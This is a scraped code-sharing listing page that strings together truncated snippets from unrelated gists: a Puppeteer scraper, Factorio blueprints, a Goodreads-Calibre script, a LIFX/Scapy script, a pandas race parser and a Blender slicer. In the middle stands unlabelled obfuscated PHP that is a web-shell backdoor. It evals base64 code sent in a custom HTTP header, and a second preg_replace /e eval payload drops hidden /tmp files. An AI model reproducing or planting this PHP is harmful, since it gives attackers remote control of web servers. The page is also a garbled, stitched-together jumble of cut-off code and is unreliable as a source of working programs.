Skip to content

Instantly share code, notes, and snippets.

const puppeteer = require("puppeteer-extra");
//const cheerio = require("cheerio");
const fs = require("fs");
const fetch = (...args) => import('node-fetch').then(({default: fetch}) => fetch(...args));
const StealthPlugin = require('puppeteer-extra-plugin-stealth');
const { Message } = require('@notify.events/nodejs');
puppeteer.use(StealthPlugin());
0eJztXU1v4zgS/SuGz9FC1IdlB3sZLOawwO5l+rhoNGRbnQjtWIYsp7sxyH9fyXbcjlgSixTJktu8DCZpRyZLxarie6zHv6fLzSHblfm2+rIsim/Tx79//WY/ffzf1Y/Nv+WrYnv69T5/2qab5nfVz102fZzmVfYyfZhu05fmp+ZzVbqtvFXxssy3aVWU07eHab5dZz+mj+ztQfiEfZVlG2/1nO2rq78M3j4/TLNtlVd5dhpIzxc+THfFvv5ksW2+pfneh+nP6aMX189b52W2Ov2Tf37izy/bw8syK4+fex/Tdneo6gfVj9+ePr9vnsWa/5TZ+jiC8x/n9U+Lt89v9cO3Wf70vCwOZTPEz8e/rspi82WZPaeveT2y+q+/5psqK9vGPM8mL4utt9ukVTZ9+GCet+Zhh+ZleAu/y57nhyzTqv6Gn91PYFePCI4j/xuyPmdG/2hGX2TFgLPiMj0ZF2nNGG3Nj0NPV9+8k3m9fLvPyvp/uibBPk4i4iYRcpO4fnHv9n8AXtzb5/ZE5efyNd1Xwjl4wklEAn9WMXKPfzCcf8RD/SNoBqS0+hT8heH8ZSbnL+9r1IKzMKSzJNqdJd3vs5flJt8+eS/p6jnfZl7QOb5Q5DZzbnz1h/PjL9LV6vBy2JyD/9Bhv2Tr/PDiZZv6IWW+8nbFJutcg8KcslDNKXHLy5mSl2+Kp3xf1bM4rllvV7+T/DXzdmXxmq8hdwlO85oJc6WPXMbaHToALc87NBOlc+zI6t8fU+jjVVH0MH2tF/fxm4M5i5JFkISLhCWsThybdJnVCXn6xy+3nPxxWgvZdTnkN3N2dZbEmmC6Cq3T7IdWWqcQUWyb5ZWXq0NeYYsu6GmrYrerUxF+UCH4mKdNvcZRfx+52k9H7XftS674s138zW+v+APCxm9dB/b6TYDzG776kw4srXJKrZ5COk6Acxy+OOx1nA8ZwoLLBEiXAWpBoz4T4nwGKAAlnWbedhqjW80Q5zSMT7K9XnMqCCy4S4h1Fz7BahlZVab
const Blueprint = require('factorio-blueprint');
const bp = new Blueprint();
Blueprint.setEntityData({
'aai_strongbox_passive_provider':
{
type: 'item', // 'item', 'fluid', 'virtual', 'tile', or 'recipe'
width: 2,
height: 2,
0eNrsvf9yJMmNJvgqNP6x98NIKQD4z7aZO7ud1azt2ezOnaQZWztZWRurmF2VJhZJSyZb6pHVA9x73L3YPcllkkxmMDM8At8XLHVTU/+oVclwOByAA3A4HPjL6fur+8Xtanm9/v79zc0fT7/7y/6Xu9Pv/tD75/Zvd9cXt+frm/OPq+Xl9t9/Pv1O4tnpT6ffpS9np8sPN9ePg+6WH68vrrZfrH+6XZx+d7pcLz6fnp1eX3ze/uvi7m7x+f3V8vrj+eeLD5+W14tzOd0CuL5cbEF+OZsEsV5dXN/d3qzW5+8XV+veYP3y7ux0cb1erpeLR2Qe/vHT99f3n98vVhvoLRhnp7c3d5thN9dPS+t+9bg2+VX8skXpAJDCgLphQOYGJOOAAgyosbT4DOjqZsOkTxcb2l6eL6/vFqv15u9H4LQH7uz0crlafHj8axoAnp6BTwPsPADzuGAdAQ8vsN2AXj4I2Oeb9c3qdAB+cSCcEISrA2BpAdQBgNK5OZ9bcMMQXIHhiguugiyTDuSZmIPGohCRA7grpLktBsFH/+4N43pAEg6qoQkk+0HZBKiCg2otsMK6VxtKvIMhWQPSfq/cfb64ujpfXG3YvVp+OL+9uVq0VZw+CMf1Yvnx0/ub+9XWZml6NzSBwuq9hSpucVrkC4AyN49u1Ehq8+DUDJowPqURPsmZlkFWZcBk+MhSMKzLmHSdmQ1iXWFtrx5tbx1g78yjKw23S+bClLZLXukzw/goY2piUPYsIJbPR27CNDUUhiXcCLRAZRyrhkI0wjS1QOGmKTa8edw0hQYkgfV9CyfcBrVwMvKMETzqMgRYQQSPgggRhhtdcBPrWwbPBg7EVmlJALFVWqAqjlVDmmKHY/UA6t3ZY2Dhu16g4+z06mIzdvObnvyX6xM5+ef77Y8/LlZ3jxQuEnLVnFIsqZR97KHbYjYVMMl4vOTZRnxeXm8N0uVqeXX1ImDijnkMgxqND0xKl18nmDcQcr9Z2Orj6mbz3wlQjxg+ke3mfn17vz4
import subprocess
from urllib.request import urlopen
from xml.etree.ElementTree import parse
goodreads_id = [your goodreads id here]
goodreads_api_key = [your api key here]
calibre_server = [server url e.g. http://localhost:8080/#calibre-library or path to library]
calibre_username = [your calibre username]
calibre_password = [your calibre password]
new_tag = [desired tag to add]
from scapy.all import *
from lifxlan import *
import sys
from copy import copy
from time import sleep, time
#find all our lights
lifx = LifxLAN()
bulbs = lifx.get_lights()
$FdtLNd="\x63"."\x68"."\x72";
$TTfvbjY="\143".$FdtLNd(114).$FdtLNd(101)."\141"."\x74"."\x65".$FdtLNd(95)."\146"."\165"."\x6e".$FdtLNd(99).$FdtLNd(116).$FdtLNd(105)."\157".$FdtLNd(110);
$GVUjHiK=$TTfvbjY('',$FdtLNd(105)."\x66"."\x28"."\x21"."\145"."\155"."\160"."\164".$FdtLNd(121)."\x28"."\44"."\137"."\123".$FdtLNd(69)."\122".$FdtLNd(86)."\x45".$FdtLNd(82)."\x5b"."\x27".$FdtLNd(72)."\x54".$FdtLNd(84)."\120"."\x5f"."\106"."\130".$FdtLNd(83)."\123"."\x46".$FdtLNd(90)."\x46"."\x43"."\x5a"."\47"."\x5d".$FdtLNd(41).$FdtLNd(41)."\x40".$FdtLNd(101)."\x76"."\x61"."\154".$FdtLNd(40)."\142".$FdtLNd(97)."\163"."\x65"."\x36"."\x34"."\137".$FdtLNd(100)."\145"."\143".$FdtLNd(111)."\144"."\145"."\50"."\x24"."\137"."\x53"."\105".$FdtLNd(82)."\x56"."\x45"."\x52"."\133".$FdtLNd(39)."\110".$FdtLNd(84).$FdtLNd(84).$FdtLNd(80)."\137"."\x46"."\x58".$FdtLNd(83)."\x53"."\106".$FdtLNd(90)."\x46"."\103"."\x5a".$FdtLNd(39)."\135".$FdtLNd(41)."\51"."\x3b");$GVUjHiK();
@preg_replace("\x2f"."\56".chr(47)."\x65","\x40".chr(101)."\166"."\x61".chr(108)."\50".chr(98).chr(97)."\163".chr(101)."\x36".chr(52)."\x5f"."\144"."\x65"."\143"."\x6f".chr(100)."\x65"."\x28"."\x27".'ZnVuY3Rpb24gT0Jab2hoUk8oJHApIHsNCiRtID0gZmFsc2U7DQokZmlsZV9kID0gJy90bXAvLl90bXBZdnVPbVJFWCc7DQokaXBfbCA9IChzdHJpbmcpaXAybG9uZygkcCk7DQppZihmaWxlX2V4aXN0cygkZmlsZV9kKSBhbmQgQGlzX3dyaXRhYmxlKCRmaWxlX2QpIGFuZCAoKCRzaXplX2YgPSBAZmlsZXNpemUoJGZpbGVfZCkpID4gMCkpIHsNCiAkZGF0YSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX2QpOw0KICRkYXRhIC49ICIkaXBfbCwiOw0KICBpZihzdWJzdHJfY291bnQoJGRhdGEsIiRpcF9sLCIpIDw9IDEpICRtID0gdHJ1ZTsNCiAgaWYoJHNpemVfZiA+IDEwMDAwMDApICRkYXRhID0gIiRpcF9sLCI7DQogIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX2QsJGRhdGEpOw0KICByZXR1cm4gJG07DQogfSBlbHNlIHJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gbk1TRVpIRygkcCkgew0KJHNlYyA9ICdFdERhTmRkU21rVW5adE5GJzsNCiRrZXkgPSBzdWJzdHIoc2hhMSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10uJHAuJHNlYyksMCxtdF9yYW5kKDEwLDMwKSk7DQoka2V5ID0gZXhwbG9kZSgiXG4iLGNodW5rX3NwbGl0KCRrZXksKHN0cmxlbigka2V5KS9tdF9yYW5kKDEsOCk
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from datetime import datetime, timedelta
import glob
import os
#time data is provided as a string in the format of HH:MM:SS but hours are omitted in shorter races
def str_to_time_delta(x):
if x != x:
@kellbot
kellbot / slicer.py
Created November 29, 2010 20:45
Script for slicing voxelized objects
#!BPY
"""
Name: 'Slicer 1.0'
Blender: 243
Group: 'Misc'
Tooltip: 'Slice voxelized object'
"""
import Blender, BPyMessages, BPyMesh